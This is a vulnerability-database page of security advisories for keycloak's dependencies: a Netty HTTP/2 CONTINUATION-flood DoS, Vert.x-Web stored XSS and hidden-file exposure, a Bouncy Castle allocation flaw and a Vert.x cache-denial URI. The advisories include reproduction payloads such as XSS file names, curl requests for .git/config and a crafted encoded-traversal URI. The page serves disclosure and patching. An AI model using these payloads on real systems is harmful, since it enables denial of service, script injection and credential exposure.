Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the keycloak package. The Vert. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.11-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the keycloak package. The Vert. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-QI14017",
"modified": "2026-04-14T09:20:00Z",
"published": "2026-04-15T00:42:39.776045Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-QI14017.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-45p5-v273-3qqr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4cx2-fc23-5wg6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9342-92gg-6v29"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cphf-4846-3xx9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fghv-69vj-qj49"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h5fg-jpgr-rv9c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hq9p-pm7w-8p54"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j288-q9x7-2f5v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vert",
"upstream": [
"CVE-2026-1002",
"CVE-2026-33871",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45p5-v273-3qqr",
"ghsa-4cx2-fc23-5wg6",
"ghsa-9342-92gg-6v29",
"ghsa-cphf-4846-3xx9",
"ghsa-fghv-69vj-qj49",
"ghsa-h5fg-jpgr-rv9c",
"ghsa-hq9p-pm7w-8p54",
"ghsa-j288-q9x7-2f5v",
"ghsa-w9fj-cfpg-grvv"
]
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-45P5-V273-3QQR
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2026-01-21 16:37Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)method under thetext/htmlbranch, file and directory names are directly embedded into thehref,title, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java - Lines:
- 709–713:
normalizedDiris constructed without escaping - 714–731:
<li><a ...>elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory},{parent}, and{files}are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
-
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
-
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/with one of the following names: <img src=x onerror=alert('XSS')>.txt- Or attribute injection:
evil" onmouseover="alert('XSS')".txt - Example:
bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
-
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); - Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
-
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
Example response excerpt:
html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> -
When accessing
/public/in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerrorare executed.
Potential Impact
-
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
-
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11966"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:11Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "LOW"
},
"details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n - Lines:\n - 709\u2013713: `normalizedDir` is constructed without escaping\n - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n - 744: parent directory name construction\n - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n - Directory listing is enabled using `StaticHandler` \n (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n - Create an empty file in `public/` with one of the following names:\n - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n - Example:\n ```bash\n mkdir -p public\n printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n ```\n\n3. Start the server (example):\n - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n ```\n GET /public/ HTTP/1.1\n Host: 127.0.0.1:8890\n Accept: text/html\n Connection: close\n ```\n\n5. Example response excerpt:\n ```html\n \u003cul id=\"files\"\u003e\n \u003cli\u003e\n \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n \u003c/a\u003e\n \u003c/li\u003e\n ...\n \u003c/ul\u003e\n ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n - Possible consequences:\n - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n - Uploaded files are served directly under a publicly accessible directory\n - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966 \n- CVE\u20112019\u201115603",
"id": "GHSA-45p5-v273-3qqr",
"modified": "2026-01-21T16:37:06Z",
"published": "2025-10-22T19:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}
GHSA-4CX2-FC23-5WG6
Vulnerability from github – Published: 2025-08-13 12:31 – Updated: 2026-05-13 16:23Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .
This issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8916"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T22:52:42Z",
"nvd_published_at": "2025-08-13T10:15:27Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .\n\nThis issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.",
"id": "GHSA-4cx2-fc23-5wg6",
"modified": "2026-05-13T16:23:20Z",
"published": "2025-08-13T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8916"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/310b30a4fbf36d13f6cc201ffa7771715641e67e"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/ff444a479942d88de64004dc82c3ee32a9e9075a"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%908916"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/S:P/R:U/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation"
}
GHSA-H5FG-JPGR-RV9C
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2025-10-22 19:38Description
There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.
In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:
- Files under hidden directories: For example,
/.secret/config.txt— although.secretis a hidden directory, the fileconfig.txtitself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like
.git,.env,.awsmay become publicly accessible.
As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.
Steps to Reproduce
1. Prepare test environment
# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git
# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config
2. Implement test server
import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle {
@Override
public void start() {
Router router = Router.router(vertx);
// Configure to not serve hidden files
StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
.setIncludeHidden(false)
.setDirectoryListing(false);
router.route("/*").handler(staticHandler);
vertx.createHttpServer()
.requestHandler(router)
.listen(8082);
}
public static void main(String[] args) {
Vertx vertx = Vertx.vertx();
vertx.deployVerticle(new StaticHandlerTestServer());
}
}
3. Confirm the vulnerability
# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK
# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found
# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config
Potential Impact
1. Information Disclosure
Examples of sensitive files that could be exposed:
.git/config: Git repository settings (e.g., remote URL, credentials).env/*: Environment variables (API keys, DB credentials).aws/credentials: AWS access keys.ssh/known_hosts: SSH host trust info.docker/config.json: Docker registry credentials
2. Attack Scenarios
- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
- Especially dangerous for
.git/HEAD,.git/config,.git/objects/*— which may allow full reconstruction of source code.
3. Affected Scope
- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
- Environments: All OSes (Windows, Linux, macOS)
- Configurations: All applications using
StaticHandler.setIncludeHidden(false)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11965"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:04Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "MODERATE"
},
"details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n @Override\n public void start() {\n Router router = Router.router(vertx);\n\n // Configure to not serve hidden files\n StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n .setIncludeHidden(false)\n .setDirectoryListing(false);\n\n router.route(\"/*\").handler(staticHandler);\n\n vertx.createHttpServer()\n .requestHandler(router)\n .listen(8082);\n }\n\n public static void main(String[] args) {\n Vertx vertx = Vertx.vertx();\n vertx.deployVerticle(new StaticHandlerTestServer());\n }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory (vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
"id": "GHSA-h5fg-jpgr-rv9c",
"modified": "2025-10-22T19:38:04Z",
"published": "2025-10-22T19:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}
GHSA-CPHF-4846-3XX9
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-16 20:20The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.
The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895
Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html
Mitgation Disabling Static Handler cache fixes the issue.
StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0.CR1"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1002"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T22:51:27Z",
"nvd_published_at": "2026-01-15T21:16:05Z",
"severity": "MODERATE"
},
"details": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);",
